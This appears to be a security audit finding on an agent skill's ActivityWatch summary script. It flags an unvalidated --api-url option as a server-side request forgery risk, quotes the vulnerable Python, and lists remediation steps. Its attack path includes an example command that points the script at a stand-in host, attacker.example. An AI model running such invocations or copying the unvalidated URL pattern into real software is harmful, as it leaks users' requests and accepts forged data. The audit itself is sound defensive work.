T09 · Insecure Skill Coding Practices
- Location
scripts/activitywatch_summary.py:26- Finding
Unrestricted ActivityWatch API URL Permits Arbitrary HTTP Requests
- Content
View full analysis
Vulnerability Details
File Location:
scripts/activitywatch_summary.py:26-28, 350, 363
Vulnerability Type: Server-Side Request Forgery (SSRF) / unrestricted outbound HTTP destination
Risk Level: MediumVulnerable Code
python def get_json(path, api=DEFAULT_API): with urllib.request.urlopen(f"{api}{path}", timeout=5) as response: return json.load(response)python parser.add_argument( "--api-url", default=DEFAULT_API, help="Local ActivityWatch API URL; defaults to http://127.0.0.1:5600/api/0", )python fetch = lambda path: get_json(path, args.api_url)Technical Analysis
The command-line option
--api-urlis described as a local ActivityWatch API URL, but its value is not validated before being passed tourllib.request.urlopen. An invocation can therefore select an arbitrary HTTP or HTTPS host rather than the intended loopback service.The documentation instructs the agent to keep this option on loopback, but documentation is not an enforceable security boundary. Moreover,
urlopenfollows redirects by default, so a permitted-looking initial endpoint could redirect requests to a remote host unless each redirect destination is independently checked.The script first requests
/buckets/. It then trusts the returned bucket metadata, selects bucket identifiers with the expected types, URL-encodes those identifiers, and requests their event endpoints. This gives a malicious endpoint multiple opportunities to observe requests and provide forged activity records.Attack Path
- An attacker influences the script invocation or configuration so it includes an arbitrary endpoint, for example:
bash python scripts/activitywatch_summary.py \ --date today \ --api-url http://attacker.example/api/0 - The script requests:
text http://attacker.example/api/0/buckets/ - The attacker returns JSON containing attacker-selected bucket IDs identified as `curren ...[truncated 1303 chars]
- An attacker influences the script invocation or configuration so it includes an arbitrary endpoint, for example:
- Remediation
View remediation
Remediation Suggestions
- Parse
--api-urlwithurllib.parse.urlsplitbefore making any request. - Permit only the intended scheme and loopback destinations:
- Require
http. - Allow only literal loopback addresses such as
127.0.0.1and::1. - If
localhostis accepted, resolve it and verify that every resulting address is loopback.
- Require
- Reject embedded credentials, fragments, malformed ports, and unexpected URL components.
- Restrict the port to the configured local ActivityWatch port, normally
5600, unless a narrowly scoped local override is explicitly required. - Normalize the base path and construct request URLs safely rather than concatenating untrusted strings.
- Disable automatic redirects or implement a redirect handler that validates every redirect destination against the same loopback policy.
- Consider removing
--api-urlentirely if non-default endpoints are unnecessary. - Add tests confirming rejection of:
- Public and private non-loopback addresses
- IPv6 non-loopback addresses
- Hostname and user-information parsing tricks
- Alternate schemes such as
file - Redirects from loopback to non-loopback hosts
- Parse
